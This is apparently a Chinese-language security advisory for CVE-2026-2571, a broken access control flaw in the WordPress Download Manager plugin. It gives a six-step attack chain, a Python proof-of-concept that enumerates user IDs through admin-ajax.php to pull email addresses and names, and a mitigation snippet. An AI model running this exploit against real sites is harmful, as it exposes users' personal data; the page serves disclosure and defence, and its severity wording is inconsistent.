IPBUF安全漏洞报告
English
CVE-2026-2571 CVSS 4.3 中危

CVE-2026-2571 WordPress Download Manager越权信息泄露漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-2571
漏洞类型
越权访问/信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Download Manager插件

相关标签

CVE-2026-2571WordPress插件漏洞越权访问信息泄露Download ManagerBroken Access ControlWordPress安全

漏洞概述

CVE-2026-2571是WordPress Download Manager插件中的一个高危安全漏洞。该漏洞存在于插件的'reviewUserStatus'函数中,由于缺少适当的能力检查(capability check),导致低权限用户(如Subscriber级别)可以访问本应需要更高权限才能查看的敏感用户数据。攻击者利用此漏洞可以获取网站上任意用户的邮箱地址、显示名称和注册日期等个人信息。此漏洞影响版本从插件初始版本直至3.3.49版本。由于WordPress的Subscriber角色是最低权限角色之一,任何已注册用户都可能成为潜在攻击者,因此该漏洞的利用门槛极低,危害范围广泛。

技术细节

该漏洞属于WordPress插件的访问控制缺陷(Broken Access Control)。在WordPress权限体系中,插件管理员功能通常需要manage_options或upload_files等高级权限。然而,Download Manager插件的UserController.php文件中,reviewUserStatus函数(约第109行)未进行权限验证。攻击者只需拥有一个基本的Subscriber账户,即可通过发送特制的AJAX请求调用该函数。由于该函数直接查询数据库获取用户信息且未验证调用者权限,攻击者可以枚举指定用户ID获取其敏感信息。漏洞利用关键在于WordPress的wp_ajax_*钩子,该钩子允许已认证用户执行ajax动作,但插件未在回调函数中实施权限检查。攻击者可通过遍历用户ID(从1开始递增)获取所有用户数据。

攻击链分析

STEP 1
1
攻击者注册WordPress账户获取Subscriber级别会话
STEP 2
2
构造针对wp-admin/admin-ajax.php的POST请求,action参数设为reviewUserStatus
STEP 3
3
在请求中指定目标user_id参数(可枚举,从1开始递增)
STEP 4
4
服务器端reviewUserStatus函数执行数据库查询,返回用户敏感信息
STEP 5
5
由于缺少权限检查,攻击者成功获取目标用户的邮箱、显示名称和注册日期
STEP 6
6
通过遍历不同user_id,攻击者可批量提取全站用户数据用于后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-2571 PoC - WordPress Download Manager Unauthorized User Info Disclosure # Target: WordPress site with Download Manager plugin <= 3.3.49 def exploit(target_url, wp_admin_cookie): """ Exploit the missing capability check in reviewUserStatus function Required: Valid WordPress subscriber-level account cookie """ target = target_url.rstrip('/') # Step 1: Enumerate users by ID (starting from 1) for user_id in range(1, 20): endpoint = f"{target}/wp-admin/admin-ajax.php" data = { 'action': 'reviewUserStatus', # Vulnerable action 'user_id': user_id } headers = { 'Cookie': wp_admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200 and 'user_email' in response.text: print(f"[*] User ID {user_id} found!") print(f"[+] Response: {response.text}") return response.json() except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <wordpress_cookie>") print(f"Example: python {sys.argv[0]} http://example.com 'wordpress_abc123'") sys.exit(1) target_url = sys.argv[1] cookie = sys.argv[2] print(f"[*] Starting CVE-2026-2571 exploitation...") print(f"[*] Target: {target_url}") result = exploit(target_url, cookie) if result: print("\n[+] Exploitation successful!") else: print("\n[-] No vulnerable users found or plugin not affected")

影响范围

WordPress Download Manager < 3.3.50

防御指南

临时缓解措施
如果无法立即升级,可临时在主题的functions.php中添加过滤器,禁用reviewUserStatus ajax动作:add_action('wp_ajax_reviewUserStatus', function(){wp_die('Disabled');}); 同时加强用户注册审核,限制新用户注册功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表